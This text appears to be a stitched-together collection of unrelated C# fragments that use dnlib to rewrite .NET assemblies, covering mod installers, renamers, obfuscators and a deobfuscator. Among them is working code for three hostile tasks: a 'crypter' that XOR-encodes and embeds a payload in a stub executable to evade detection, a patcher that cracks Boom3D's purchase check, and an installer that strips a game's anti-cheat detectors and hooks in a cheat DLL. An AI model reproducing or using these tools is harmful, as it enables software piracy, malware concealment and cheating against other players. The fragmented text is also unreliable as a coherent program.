injectedEntryPoint = gameConfig.EntryPoint; injectedEntryAssemblyPath = Path.Combine(managedPath, assemblyName); } else if (!string.IsNullOrEmpty(selectedGame.OldPatchTarget)) { if (!Utils.TryParseEntryPoint(selectedGame.OldPatchTarget, out assemblyName)) { InactiveForm(); return; } useOldPatchTarget = true; injectedEntryPoint = selectedGame.OldPatchTarget; injectedEntryAssemblyPath = Path.Combine(managedPath, assemblyName); } try { if (injectedEntryAssemblyPath == entryAssemblyPath) { injectedAssemblyDef = assemblyDef; } else { injectedAssemblyDef = ModuleDefMD.Load(File.ReadAllBytes(injectedEntryAssemblyPath)); } if (File.Exists(managerAssemblyPath)) { managerDef = ModuleDefMD.Load(File.ReadAllBytes(managerAssemblyPath)); } } catch (Exception e) { InactiveForm(); Log.Print(e.ToString()); return; } var disabledMethods = new List <InstallType>(); var unavailableMethods = new List <InstallType>(); var managerType = typeof(UnityModManager); var starterType = typeof(Injection.UnityModManagerStarter); Rescan: var v0_12_Installed = injectedAssemblyDef.Types.FirstOrDefault(x => x.Name == managerType.Name); var newWayInstalled = injectedAssemblyDef.Types.FirstOrDefault(x => x.Name == starterType.Name); var hasInjectedAssembly = v0_12_Installed != null || newWayInstalled != null; if (useOldPatchTarget && !hasInjectedAssembly) { useOldPatchTarget = false; injectedEntryPoint = selectedGame.EntryPoint; injectedEntryAssemblyPath = entryAssemblyPath; injectedAssemblyDef = assemblyDef; goto Rescan; } //if (machineDoc == null) //{ // unavailableMethods.Add(InstallType.Config); // selectedGameParams.InstallType = InstallType.Assembly; //} //else if (hasInjectedAssembly) //{ // disabledMethods.Add(InstallType.Config); // selectedGameParams.InstallType = InstallType.Assembly; //} //else if (machineDoc.Descendants("cryptoClass").Any(x => x.HasAttributes && x.FirstAttribute.Name.LocalName == "ummRngWrapper")) //{ // disabledMethods.Add(InstallType.Assembly); // selectedGameParams.InstallType = InstallType.Config; //} if (Utils.IsUnixPlatform() || !File.Exists(gameExePath)) { unavailableMethods.Add(InstallType.DoorstopProxy); selectedGameParams.InstallType = InstallType.Assembly; } else if (File.Exists(doorstopPath)) { disabledMethods.Add(InstallType.Assembly); selectedGameParams.InstallType = InstallType.DoorstopProxy; } if (hasInjectedAssembly) { disabledMethods.Add(InstallType.DoorstopProxy); selectedGameParams.InstallType = InstallType.Assembly; } foreach (var ctrl in installTypeGroup.Controls) { if (ctrl is RadioButton btn) { if (unavailableMethods.Exists(x => x.ToString() == btn.Name)) { btn.Visible = false; btn.Enabled = false; continue; } if (disabledMethods.Exists(x => x.ToString() == btn.Name)) { btn.Visible = true; btn.Enabled = false; continue; } btn.Visible = true; btn.Enabled = true; btn.Checked = btn.Name == selectedGameParams.InstallType.ToString(); } } installTypeGroup.PerformLayout(); //if (selectedGameParams.InstallType == InstallType.Config) //{ // btnRestore.Enabled = IsDirty(machineDoc) && File.Exists($"{machineConfigPath}.original_"); //} if (selectedGameParams.InstallType == InstallType.Assembly) { btnRestore.Enabled = IsDirty(injectedAssemblyDef) && File.Exists($"{injectedEntryAssemblyPath}.original_"); } tabControl.TabPages[1].Enabled = true; managerDef = managerDef ?? injectedAssemblyDef; var managerInstalled = managerDef.Types.FirstOrDefault(x => x.Name == managerType.Name); if (managerInstalled != null && (hasInjectedAssembly || selectedGameParams.InstallType == InstallType.DoorstopProxy)) { btnInstall.Text = "Update"; btnInstall.Enabled = false; btnRemove.Enabled = true; Version version2; if (v0_12_Installed != null) { var versionString = managerInstalled.Fields.First(x => x.Name == nameof(UnityModManager.version)).Constant.Value.ToString(); version2 = Utils.ParseVersion(versionString); } else { version2 = managerDef.Assembly.Version; } installedVersion.Text = version2.ToString(); if (version > version2 && v0_12_Installed == null) { btnInstall.Enabled = true; } } else { installedVersion.Text = "-"; btnInstall.Enabled = true; btnRemove.Enabled = false; } }
static void Main(string[] args) { Random rnd = new Random(); var source = File.ReadAllBytes(args[0]).ToList <byte>(); List <string> listBase = new List <string>(); while (source.Count > 0) { var dead = rnd.Next(1, source.Count); var baseStr = source.GetRange(0, dead); for (int i = 0; i < baseStr.Count; i++) { baseStr[i] = (byte)((uint)baseStr[i] ^ 2); } listBase.Add(Convert.ToBase64String(baseStr.ToArray())); source.RemoveRange(0, dead); } byte[] data = System.IO.File.ReadAllBytes("stub.exe"); ModuleDefMD module = ModuleDefMD.Load(data); module.EntryPoint.Body.Instructions[1] = OpCodes.Ldc_I4_S.ToInstruction((sbyte)listBase.Count); module.EntryPoint.Body.Instructions.RemoveAt(3); module.EntryPoint.Body.Instructions.RemoveAt(3); module.EntryPoint.Body.Instructions.RemoveAt(3); module.EntryPoint.Body.Instructions.RemoveAt(3); var instructions = new List <Instruction>(); for (int i = 0, b = 5; i < listBase.Count; i++, b += 5) { instructions.Add(OpCodes.Dup.ToInstruction()); if (i == 0) { instructions.Add(OpCodes.Ldc_I4_0.ToInstruction()); } else if (i == 1) { instructions.Add(OpCodes.Ldc_I4_1.ToInstruction()); } else if (i == 2) { instructions.Add(OpCodes.Ldc_I4_2.ToInstruction()); } else if (i == 3) { instructions.Add(OpCodes.Ldc_I4_3.ToInstruction()); } else if (i == 4) { instructions.Add(OpCodes.Ldc_I4_4.ToInstruction()); } else if (i == 5) { instructions.Add(OpCodes.Ldc_I4_5.ToInstruction()); } else if (i == 6) { instructions.Add(OpCodes.Ldc_I4_6.ToInstruction()); } else if (i == 7) { instructions.Add(OpCodes.Ldc_I4_7.ToInstruction()); } else if (i == 8) { instructions.Add(OpCodes.Ldc_I4_8.ToInstruction()); } else { instructions.Add(OpCodes.Ldc_I4_S.ToInstruction((sbyte)i)); } instructions.Add(OpCodes.Ldstr.ToInstruction(listBase[i])); instructions.Add(OpCodes.Stelem_Ref.ToInstruction()); } for (int i = 3; i < instructions.Count + 3; i++) { module.EntryPoint.Body.Instructions.Insert(i, instructions[i - 3]); } module.EntryPoint.Body.KeepOldMaxStack = true; module.Write("Crypted.exe"); }
public EvalDelegateCreator(byte[] assemblyBytes, string evalClassName, string evalMethodName) { module = ModuleDefMD.Load(assemblyBytes); this.evalClassName = evalClassName; this.evalMethodName = evalMethodName; }
private void ExecuteOperation() { List <(Regex pattern, string replacement)> replacementPatterns = new List <(Regex pattern, string replacement)>(); string[] regexpOptions = _commandLineOptions.Regexps.ToArray(); for (int i = 0; i < regexpOptions.Length; i += 2) { string regexpOption = regexpOptions[i]; string regexpReplacementOption = regexpOptions[i + 1]; Regex regex = new Regex(regexpOption, RegexOptions.Singleline); replacementPatterns.Add((regex, regexpReplacementOption)); } string UpdateName(string name, Action onNameChanged) { string originalName = name; foreach ((Regex pattern, string replacement)replacementPattern in replacementPatterns) { name = replacementPattern.pattern.Replace(name, replacementPattern.replacement); } if (name != originalName) { onNameChanged(); } return(name); } Log.Info($"Reading assembly from {_commandLineOptions.InputAssemblyPath}"); ModuleDefMD module = ModuleDefMD.Load(_commandLineOptions.InputAssemblyPath); AssemblyDef assembly = module.Assembly; TypeDef[] types = module.GetTypes().ToArray(); TypeRef[] typeReferences = module.GetTypeRefs().ToArray(); AssemblyRef[] assemblyReferences = module.GetAssemblyRefs().ToArray(); Log.Info("Updating assembly name"); if (_commandLineOptions.ReplaceAssemblyName) { assembly.Name = UpdateName(assembly.Name, () => Log.Info("Assembly name modified")); for (int i = 0; i < assembly.Modules.Count; i++) { ModuleDef moduleDef = assembly.Modules[i]; int finalI = i; moduleDef.Name = UpdateName(moduleDef.Name, () => Log.Info($"Module {finalI} name modified")); } } Log.Info("Modifying types"); int modifiedTypes = 0; foreach (TypeDef type in types) { type.Namespace = UpdateName(type.Namespace, () => modifiedTypes++); } Log.Info($"Modified {modifiedTypes} type(s)"); Log.Info("Modifying type references"); int modifiedTypeReferences = 0; foreach (TypeRef typeReference in typeReferences) { typeReference.Namespace = UpdateName(typeReference.Namespace, () => modifiedTypeReferences++); } Log.Info($"Modified {modifiedTypeReferences} type reference(s)"); if (_commandLineOptions.ReplaceAssemblyReferences) { Log.Info("Modifying assembly references"); int modifiedReferences = 0; foreach (AssemblyRef assemblyReference in assemblyReferences) { assemblyReference.Name = UpdateName(assemblyReference.Name, () => modifiedReferences++); } Log.Info($"Modified {modifiedReferences} assembly reference(s)"); } Log.Info("Updating attributes"); HashSet <CustomAttribute> customAttributes = new HashSet <CustomAttribute>(); customAttributes.UnionWith(module.CustomAttributes); customAttributes.UnionWith(assembly.CustomAttributes); foreach (TypeDef type in types) { customAttributes.UnionWith(type.CustomAttributes); type.Events.ToList().ForEach(m => customAttributes.UnionWith(m.CustomAttributes)); type.Fields.ToList().ForEach(m => customAttributes.UnionWith(m.CustomAttributes)); type.Interfaces.ToList().ForEach(m => customAttributes.UnionWith(m.CustomAttributes)); type.Methods.ToList().ForEach(m => customAttributes.UnionWith(m.CustomAttributes)); type.GenericParameters.ToList().ForEach(m => customAttributes.UnionWith(m.CustomAttributes)); type.Properties.ToList().ForEach(m => customAttributes.UnionWith(m.CustomAttributes)); foreach (MethodDef method in type.Methods) { method.GenericParameters.ToList().ForEach(m => customAttributes.UnionWith(m.CustomAttributes)); method.Parameters.ToList() .ForEach(m => { if (m.HasParamDef) { customAttributes.UnionWith(m.ParamDef.CustomAttributes); } }); } } int modifiedAttributesParameters = 0; bool isAttributeModified = false; void UpdateAttributeConstructorArgument(object argument) { switch (argument) { case TypeDefOrRefSig type: if (type.IsTypeDef) { type.TypeDef.Namespace = UpdateName(type.Namespace, () => isAttributeModified = true); if (type.TypeDef.Scope is AssemblyRefUser assemblyRefUser) { assemblyRefUser.Name = UpdateName(assemblyRefUser.Name, () => isAttributeModified = true); } } else if (type.IsTypeRef) { type.TypeRef.Namespace = UpdateName(type.Namespace, () => isAttributeModified = true); if (type.TypeRef.Scope is AssemblyRefUser assemblyRefUser) { assemblyRefUser.Name = UpdateName(assemblyRefUser.Name, () => isAttributeModified = true); } } break; case GenericInstSig genericInstSig: foreach (TypeSig genericArgument in genericInstSig.GenericArguments) { UpdateAttributeConstructorArgument(genericArgument); } UpdateAttributeConstructorArgument(genericInstSig.GenericType); break; } } foreach (CustomAttribute customAttribute in customAttributes) { isAttributeModified = false; IEnumerable <CAArgument> constructorArguments = customAttribute.ConstructorArguments.Concat(customAttribute.NamedArguments.Select(na => na.Argument)); foreach (CAArgument attributeConstructorArgument in constructorArguments) { UpdateAttributeConstructorArgument(attributeConstructorArgument.Type); UpdateAttributeConstructorArgument(attributeConstructorArgument.Value); } if (isAttributeModified) { modifiedAttributesParameters++; } } Log.Info($"Modified {modifiedAttributesParameters} attribute(s)"); string outputPath; if (!String.IsNullOrWhiteSpace(_commandLineOptions.OutputAssemblyPath)) { outputPath = _commandLineOptions.OutputAssemblyPath; } else { outputPath = Path.Combine( Path.GetDirectoryName(_commandLineOptions.InputAssemblyPath) ?? "", Path.GetFileNameWithoutExtension(_commandLineOptions.InputAssemblyPath) + ".Modified" + Path.GetExtension(_commandLineOptions.InputAssemblyPath) ); } Log.Info($"Writing assembly to {outputPath}"); assembly.Write(outputPath); }
static void Main(string[] args) { if (args.Length == 0) { Console.WriteLine("Drag'n drop file."); Console.ReadKey(); return; } var module = ModuleDefMD.Load(args[0]); var runtimePath = Path.Combine(Path.GetDirectoryName(Assembly.GetExecutingAssembly().Location), "Nasha.dll"); var runtime = ModuleDefMD.Load(runtimePath); IMethod RunMethod = runtime.Types.ToArray().First(x => x.Name == "Main").Methods.First(x => x.Name == "Execute"); IMethod RunCtor = runtime.Types.ToArray().First(x => x.Name == "Main").Methods.First(x => x.Name == ".ctor"); IMethod ConfigCtor = runtime.Types.ToArray().First(x => x.Name == "Config").Methods.First(x => x.Name == ".ctor"); IMethod ConfigSetup = runtime.Types.ToArray().First(x => x.Name == "Config").Methods.First(x => x.Name == "SetupReferencies"); RunMethod = module.Import(RunMethod); RunCtor = module.Import(RunCtor); ConfigCtor = module.Import(ConfigCtor); ConfigSetup = module.Import(ConfigSetup); var ConfigField = new FieldDefUser("cfg", new FieldSig(ConfigCtor.DeclaringType.ToTypeSig()), dnlib.DotNet.FieldAttributes.Public | dnlib.DotNet.FieldAttributes.Static); module.GlobalType.Fields.Add(ConfigField); var GlobalConstructor = module.GlobalType.FindOrCreateStaticConstructor(); GlobalConstructor.Body.Instructions.Insert(0, OpCodes.Newobj.ToInstruction(ConfigCtor)); GlobalConstructor.Body.Instructions.Insert(1, OpCodes.Stsfld.ToInstruction(ConfigField)); //GlobalConstructor.Body.Instructions.Insert(2, OpCodes.Ldsfld.ToInstruction(ConfigField)); //GlobalConstructor.Body.Instructions.Insert(3, OpCodes.Callvirt.ToInstruction(ConfigSetup)); foreach (var type in module.Types) { foreach (var method in type.Methods) { if (!method.HasBody || !method.Body.HasInstructions) { continue; } var translated = Translator.Translate(settings, method); if (translated == null) { continue; } settings.Translated.Add(new Translated(method, translated)); } } foreach (var translated in settings.Translated) { //var body = translated.Method.Body; translated.Method.Body = new CilBody() { MaxStack = 1 }; translated.Method.Body.Instructions.Add(OpCodes.Newobj.ToInstruction(RunCtor)); AddParameters(translated.Method); translated.Method.Body.Instructions.Add(OpCodes.Ldc_I4.ToInstruction(0 /*Convert.ToInt32(ListOfIds[Index2++])*/)); var genericType = translated.Method.ReturnType == translated.Method.Module.CorLibTypes.Void ? RunCtor.DeclaringType.ToTypeSig() : translated.Method.ReturnType; translated.Method.Body.Instructions.Add(OpCodes.Ldsfld.ToInstruction(ConfigField)); translated.Method.Body.Instructions.Add(OpCodes.Call.ToInstruction(RunMethod)); if (translated.Method.HasReturnType) { translated.Method.Body.Instructions.Add(OpCodes.Unbox_Any.ToInstruction(translated.Method.ReturnType.ToTypeDefOrRef())); } else { translated.Method.Body.Instructions.Add(OpCodes.Pop.ToInstruction()); } translated.Method.Body.Instructions.Add(OpCodes.Ret.ToInstruction()); } var Output = Path.GetFileNameWithoutExtension(args[0]) + "-Nasha.exe"; var writer = new ModuleWriterOptions(module); writer.WriterEvent += InsertSections; writer.WriterEvent += InsertVMBodies; writer.MetadataLogger = DummyLogger.NoThrowInstance; writer.MetadataOptions.Flags = MetadataFlags.PreserveAll; module.Write(Output, writer); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine($"[#] Virtualized file saved as \"{Output}\""); Console.ReadKey(); }
public static void Main() { Console.Title = "Boom3D Patcher"; Console.WriteLine("Enter Boom3D.exe path: "); var path = Console.ReadLine()?.Replace("\"", ""); var module = ModuleDefMD.Load(path); if (IsPacked(module)) { Console.WriteLine("Compressor detected, please remove it before patching the file."); Console.ReadKey(); Environment.Exit(0); } foreach (var type in module.GetTypes()) { // Find Class PersistentSettings if (!type.FullName.Contains("PersistentSettings")) { continue; } Console.WriteLine($"Successfully got {type.FullName}"); foreach (var method in type.Methods) { // Find Method get_IsPurchased if (!method.FullName.Contains("get_IsPurchased")) { continue; } Console.WriteLine($"Successfully got {method.FullName}\nRewriting existing OpCodes..."); /* * Clear actual OpCodes and Add return true * ldc.i4.1 * ret */ method.Body.Instructions.Clear(); method.Body.Instructions.Add(OpCodes.Ldc_I4_1.ToInstruction()); method.Body.Instructions.Add(OpCodes.Ret.ToInstruction()); _isPatched = true; } } if (_isPatched) { Console.WriteLine("Rewriting done, saving file..."); var fileName = Path.GetFileName(path); try { module.Write(fileName); } catch (Exception err) { Console.WriteLine($"Failed to save file. ({err.Message})"); } Console.WriteLine($"File saved ({fileName})."); Console.ReadKey(); } else { Console.WriteLine("Method not found, failed to patch."); Console.ReadKey(); } }
private void Install() { // Check for existing cheats Console.WriteLine("Checking for existing cheat..."); if (File.Exists(HackLocation)) { File.Delete(HackLocation); } if (File.Exists(AssemblyCSharpLocation + ".backup")) { File.Delete(AssemblyCSharpLocation + ".backup"); } Console.WriteLine("Checked for existing cheat!"); // Copy the dll Console.WriteLine("Copying cheat dll..."); try { File.Copy(Directory.GetCurrentDirectory() + "/" + CheatName, HackLocation); File.Copy(AssemblyCSharpLocation, AssemblyCSharpLocation + ".backup"); } catch (Exception ex) { Console.WriteLine("Unable to copy the cheat! Please check the dll files!"); Console.WriteLine("Error: " + ex); Exit(); } Console.WriteLine("Copied cheat dll!"); // Install the cheat Console.WriteLine("Installing cheat..."); try { Console.WriteLine("Opening assemblies..."); ModuleDefMD asmAssembly = ModuleDefMD.Load(File.ReadAllBytes(AssemblyCSharpLocation)); ModuleDefMD asmHack = ModuleDefMD.Load(File.ReadAllBytes(HackLocation)); Console.WriteLine("Opened assemblies!"); Console.WriteLine("Getting hook function..."); TypeDef typLoader = asmHack.GetTypes().FirstOrDefault(a => a.FullName == "CheatModule.Loader"); if (typLoader == null) { Console.WriteLine("Cheat loader class not found!"); Exit(); } TypeDef typMainMenu = asmAssembly.GetTypes().FirstOrDefault(a => a.FullName == "MainMenu"); if (typMainMenu == null) { Console.WriteLine("Game MainMenu class not found!"); Exit(); } MethodDef mthHook = typLoader.Methods.FirstOrDefault(a => a.Name == "Hook" && a.IsPublic && a.IsStatic); if (mthHook == null) { Console.WriteLine("Cheat hook method not found!"); Exit(); } MethodDef mthStart = typMainMenu.Methods.FirstOrDefault(a => a.Name == "Start" && a.IsPrivate && !a.IsStatic); if (mthStart == null) { Console.WriteLine("Game Start method not found!"); Exit(); } Console.WriteLine("Gotten hook functions!"); Console.WriteLine("Getting anticheat functions...."); TypeDef typACBase = asmAssembly.GetTypes().FirstOrDefault(a => a.FullName == "CodeStage.AntiCheat.Detectors.ActDetectorBase"); if (typACBase == null) { Console.WriteLine("Anticheat base class not found!"); Exit(); } TypeDef typACInjection = asmAssembly.GetTypes().FirstOrDefault(a => a.FullName == "CodeStage.AntiCheat.Detectors.InjectionDetector"); if (typACInjection == null) { Console.WriteLine("Anticheat injection class not found!"); Exit(); } TypeDef typACObscured = asmAssembly.GetTypes().FirstOrDefault(a => a.FullName == "CodeStage.AntiCheat.Detectors.ObscuredCheatingDetector"); if (typACObscured == null) { Console.WriteLine("Anticheat obscured class not found!"); Exit(); } TypeDef typACSpeedHack = asmAssembly.GetTypes().FirstOrDefault(a => a.FullName == "CodeStage.AntiCheat.Detectors.SpeedHackDetector"); if (typACSpeedHack == null) { Console.WriteLine("Anticheat speedhack class not found!"); Exit(); } TypeDef typACWallHack = asmAssembly.GetTypes().FirstOrDefault(a => a.FullName == "CodeStage.AntiCheat.Detectors.WallHackDetector"); if (typACWallHack == null) { Console.WriteLine("Anticheat wallhack class not found!"); Exit(); } MethodDef mthACBaseStart = typACBase.Methods.FirstOrDefault(a => a.Name == "Start" && a.IsPrivate && !a.IsStatic); if (mthACBaseStart == null) { Console.WriteLine("Anticheat base start method not found!"); Exit(); } MethodDef mthACBaseEnable = typACBase.Methods.FirstOrDefault(a => a.Name == "OnEnable" && a.IsPrivate && !a.IsStatic); if (mthACBaseEnable == null) { Console.WriteLine("Anticheat base enable method not found!"); Exit(); } MethodDef mthACInjectionAwake = typACInjection.Methods.FirstOrDefault(a => a.Name == "Awake" && a.IsPrivate && !a.IsStatic); if (mthACInjectionAwake == null) { Console.WriteLine("Anticheat injection awake method not found!"); Exit(); } MethodDef mthACObscuredAwake = typACObscured.Methods.FirstOrDefault(a => a.Name == "Awake" && a.IsPrivate && !a.IsStatic); if (mthACObscuredAwake == null) { Console.WriteLine("Anticheat obscured awake method not found!"); Exit(); } MethodDef mthACSpeedHackAwake = typACSpeedHack.Methods.FirstOrDefault(a => a.Name == "Awake" && a.IsPrivate && !a.IsStatic); if (mthACSpeedHackAwake == null) { Console.WriteLine("Anticheat speedhack awake method not found!"); Exit(); } MethodDef mthACSpeedHackUpdate = typACSpeedHack.Methods.FirstOrDefault(a => a.Name == "Update" && a.IsPrivate && !a.IsStatic); if (mthACSpeedHackUpdate == null) { Console.WriteLine("Anticheat speedhack update method not found!"); Exit(); } MethodDef mthACWallHackAwake = typACWallHack.Methods.FirstOrDefault(a => a.Name == "Awake" && a.IsPrivate && !a.IsStatic); if (mthACWallHackAwake == null) { Console.WriteLine("Anticheat wallhack awake method not found!"); Exit(); } MethodDef mthACWallHackFixedUpdate = typACWallHack.Methods.FirstOrDefault(a => a.Name == "FixedUpdate" && a.IsPrivate && !a.IsStatic); if (mthACWallHackFixedUpdate == null) { Console.WriteLine("Anticheat wallhack fixedupdate method not found!"); Exit(); } MethodDef mthACWallHackUpdate = typACWallHack.Methods.FirstOrDefault(a => a.Name == "Update" && a.IsPrivate && !a.IsStatic); if (mthACWallHackUpdate == null) { Console.WriteLine("Anticheat wallhack update method not found!"); Exit(); } Console.WriteLine("Gotten all anticheat methods!"); Console.WriteLine("Removing anticheat..."); mthACBaseEnable.Body.Instructions.Clear(); mthACBaseStart.Body.Instructions.Clear(); mthACInjectionAwake.Body.Instructions.Clear(); mthACObscuredAwake.Body.Instructions.Clear(); mthACSpeedHackAwake.Body.Instructions.Clear(); mthACSpeedHackUpdate.Body.Instructions.Clear(); mthACWallHackAwake.Body.Instructions.Clear(); mthACWallHackFixedUpdate.Body.Instructions.Clear(); mthACWallHackUpdate.Body.Instructions.Clear(); Console.WriteLine("Anticheat removed!"); Console.WriteLine("Adding hook...."); Importer importer = new Importer(asmAssembly); ITypeDefOrRef typrefLoader = importer.Import(new TypeRefUser(asmHack, "GolfWithYourCheats", "Loader")); IMethod mthrefHook = importer.Import(mthHook); mthStart.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, mthrefHook)); mthACBaseEnable.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACBaseStart.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACInjectionAwake.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACObscuredAwake.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACSpeedHackAwake.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACSpeedHackUpdate.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACWallHackAwake.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACWallHackFixedUpdate.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); mthACWallHackUpdate.Body.Instructions.Add(Instruction.Create(OpCodes.Ret)); Console.WriteLine("Hook added!"); Console.WriteLine("Saving assembly...."); asmAssembly.Write(AssemblyCSharpLocation); Console.WriteLine("Assembly written!"); } catch (Exception ex) { Console.WriteLine("Unable to install the cheat! Please check the dll files!"); Console.WriteLine("Error: " + ex); Exit(); } Console.WriteLine("Cheat installed!"); }
private static void Main(string[] args) { string text = ""; if (args.Count() == 0) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(" No arguments found!"); goto end; } for (int x = 0; x < args.Count(); x++) { if (File.Exists(args[x])) { text = args[x]; } } if (text == "") { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(" No file set!"); goto end; } try { Program.module = ModuleDefMD.Load(text); Program.asm = Assembly.LoadFrom(text); } catch (Exception) { } editArgs(); Program.Asmpath = Path.GetFullPath(text); if (removeNops) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine(" Filtering useless Nop instructions.."); try { Execute(module); } catch (Exception ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(" Failed to filter Nop instructions! (" + ex.Message + ")"); goto end; } Console.ForegroundColor = ConsoleColor.DarkGreen; Console.WriteLine(" " + removed + " Nop instructions removed!"); Console.WriteLine(); } if (removeAntiDe4dots) { Console.ForegroundColor = ConsoleColor.Yellow; Console.WriteLine(" Removing fake attributes..."); removeshit(); removeshit(); Console.ForegroundColor = ConsoleColor.DarkGreen; Console.WriteLine(" " + countofths + " FakeAttributes/AntiDe4dot cases removed!"); Console.WriteLine(); } if (disableProtections || fixBasicMath) { Console.ForegroundColor = ConsoleColor.Yellow; if (fixBasicMath) { Console.WriteLine(" Checking for possible protections & fixing math calculations..."); } else { Console.WriteLine(" Checking for possible protections..."); } Console.WriteLine(); tryClearProtections(); if (fixBasicMath) { Console.ForegroundColor = ConsoleColor.DarkGreen; Console.WriteLine(" " + mathFixed + " Math calculations simplified!"); Console.WriteLine(); } } if (!noBase64Decode) { Console.ForegroundColor = ConsoleColor.Yellow; if (!printAll) { Console.WriteLine(); } Console.WriteLine(" Checking for Base64 Strings (might take a bit)..."); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(" " + decodeBase64Strings() + " Base64 Strings decoded!"); Console.WriteLine(); } string text3 = string.Format("{0}_noJunk{1}", Path.GetFileNameWithoutExtension(Path.GetFullPath(Asmpath)), Path.GetExtension(Asmpath)); ModuleWriterOptions moduleWriterOptions = new ModuleWriterOptions(Program.module); if (preserveEverything) { moduleWriterOptions.MetaDataOptions.Flags |= MetaDataFlags.PreserveAll; } moduleWriterOptions.Logger = DummyLogger.NoThrowInstance; NativeModuleWriterOptions nativeModuleWriterOptions = new NativeModuleWriterOptions(Program.module); if (preserveEverything) { nativeModuleWriterOptions.MetaDataOptions.Flags |= MetaDataFlags.PreserveAll; } nativeModuleWriterOptions.Logger = DummyLogger.NoThrowInstance; bool isILOnly = Program.module.IsILOnly; Console.ForegroundColor = ConsoleColor.Yellow; try { if (isILOnly) { Console.WriteLine(" Now saving " + Path.GetFileNameWithoutExtension(args[0]) + "-Native" + Path.GetExtension(args[0]) + " (Native)..."); Program.module.Write(text3, moduleWriterOptions); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(" (IL) '" + Path.GetFileNameWithoutExtension(args[0]) + "-IL" + Path.GetExtension(args[0]) + "' successfully saved!"); } else { Console.WriteLine(" Now saving " + Path.GetFileNameWithoutExtension(args[0]) + "-Native" + Path.GetExtension(args[0]) + " (Native)..."); Program.module.NativeWrite(text3, nativeModuleWriterOptions); Console.ForegroundColor = ConsoleColor.Green; Console.WriteLine(" (Native) '" + Path.GetFileNameWithoutExtension(args[0]) + "-Native" + Path.GetExtension(args[0]) + "' successfully saved!"); } } catch (Exception ex) { Console.ForegroundColor = ConsoleColor.Red; Console.WriteLine(" Failed to save application! (" + ex.Message + ")"); } end: Console.ResetColor(); Console.Write(" Press any key to exit..."); Console.ReadKey(); System.Environment.Exit(0); }
public static byte[] Process(string binPath, string pubPath, Cr.ILogger logger) { logger.Info("Processing Stub assembly..."); var input = Path.Combine(@"C:\Users\Nybher\Desktop\koiVM\Debug\bin", "KoiVM.Confuser.exe"); var output = Path.Combine(pubPath, "KoiVM.Confuser.exe"); logger.InfoFormat("Input path: {0}", input); logger.InfoFormat("Output path: {0}", output); var inputModule = File.ReadAllBytes(input); var internalModule = ModuleDefMD.Load(inputModule); internalModule.Name = "KoiVM.Confuser.Internal.dll"; internalModule.EntryPoint = null; internalModule.Kind = ModuleKind.Dll; internalModule.Assembly.Name = "KoiVM.Confuser.Internal"; foreach (var type in internalModule.Types.ToList()) { if (type.IsGlobalModuleType) { continue; } if (!type.Namespace.StartsWith("KoiVM.Confuser.Internal")) { internalModule.Types.Remove(type); } } var stubModule = ModuleDefMD.Load(inputModule); foreach (var type in stubModule.Types.ToList()) { if (type.IsGlobalModuleType) { continue; } if (type.Namespace.StartsWith("KoiVM.Confuser.Internal")) { stubModule.Types.Remove(type); } } PatchReferences(internalModule, stubModule); PatchReferences(stubModule, internalModule); logger.Info("Saving modules..."); stubModule.Write(output); byte[] buf; using (var stream = new MemoryStream()) { internalModule.Write(stream); buf = stream.ToArray(); } var internalPath = Path.Combine(Path.GetDirectoryName(output), "KoiVM.Confuser.Internal.dll"); File.WriteAllBytes(internalPath, buf); var proj = new ConfuserProject(); proj.Add(new ProjectModule { Path = output }); proj.OutputDirectory = Path.GetDirectoryName(output); proj.BaseDirectory = proj.OutputDirectory; proj.ProbePaths.Add(binPath); var parameters = new Cr.ConfuserParameters(); parameters.Project = proj; parameters.Logger = logger; Cr.ConfuserEngine.Run(parameters).Wait(); var symMap = Path.Combine(proj.OutputDirectory, "symbols.map"); if (File.Exists(symMap)) { File.Delete(symMap); } File.Delete(internalPath); logger.Info("Finish Stub creation."); return(buf); }
private void Button_Click(object sender, RoutedEventArgs e) { var time = DateTime.Now.ToString("hh:mm:ss"); var module = ModuleDefMD.Load(LoadBox.Text); if (StringEnc.IsChecked == true) { StringEncPhase.Execute(module); ConsoleLog.Foreground = Brushes.Aqua; ConsoleLog.AppendText($"{time} Processing String Encryption{Environment.NewLine}"); } if (SOD.IsChecked == true) { OnlinePhase.Execute(module); ConsoleLog.AppendText($"{time} Processing Online Decryption{Environment.NewLine}"); } if (Cflow.IsChecked == true) { ControlFlowObfuscation.Execute(module); ConsoleLog.AppendText($"{time} Processing Control Flow{Environment.NewLine}"); } if (Ahri.IsChecked == true) { Arithmetic.Execute(module); ConsoleLog.AppendText($"{time} Processing Arithmetic{Environment.NewLine}"); } if (IntConf.IsChecked == true) { AddIntPhase.Execute2(module); ConsoleLog.AppendText($"{time} Processing Int Confusion{Environment.NewLine}"); } if (SUC.IsChecked == true) { StackUnfConfusion.Execute(module); ConsoleLog.AppendText($"{time} Processing StackUnfConfusion{Environment.NewLine}"); } if (LF.IsChecked == true) { L2F.Execute(module); ConsoleLog.AppendText($"{time} Processing Local Field{Environment.NewLine}"); } if (LFV2.IsChecked == true) { L2FV2.Execute(module); ConsoleLog.AppendText($"{time} Processing Local Field V2{Environment.NewLine}"); } if (Calli_.IsChecked == true) { Calli.Execute(module); ConsoleLog.AppendText($"{time} Processing Call To Calli{Environment.NewLine}"); } if (Proxy_String.IsChecked == true) { ProxyString.Execute(module); ConsoleLog.AppendText($"{time} Processing Proxy Strings{Environment.NewLine}"); } if (ProxyConstants.IsChecked == true) { ProxyINT.Execute(module); ConsoleLog.AppendText($"{time} Processing Proxy Constants{Environment.NewLine}"); } if (Proxy_Meth.IsChecked == true) { ProxyMeth.Execute(module); ConsoleLog.AppendText($"{time} Processing Proxy Methods{Environment.NewLine}"); } if (Renamer.IsChecked == true) { // Protection.Renamer.Renamer.Renamer3.Rename(module); 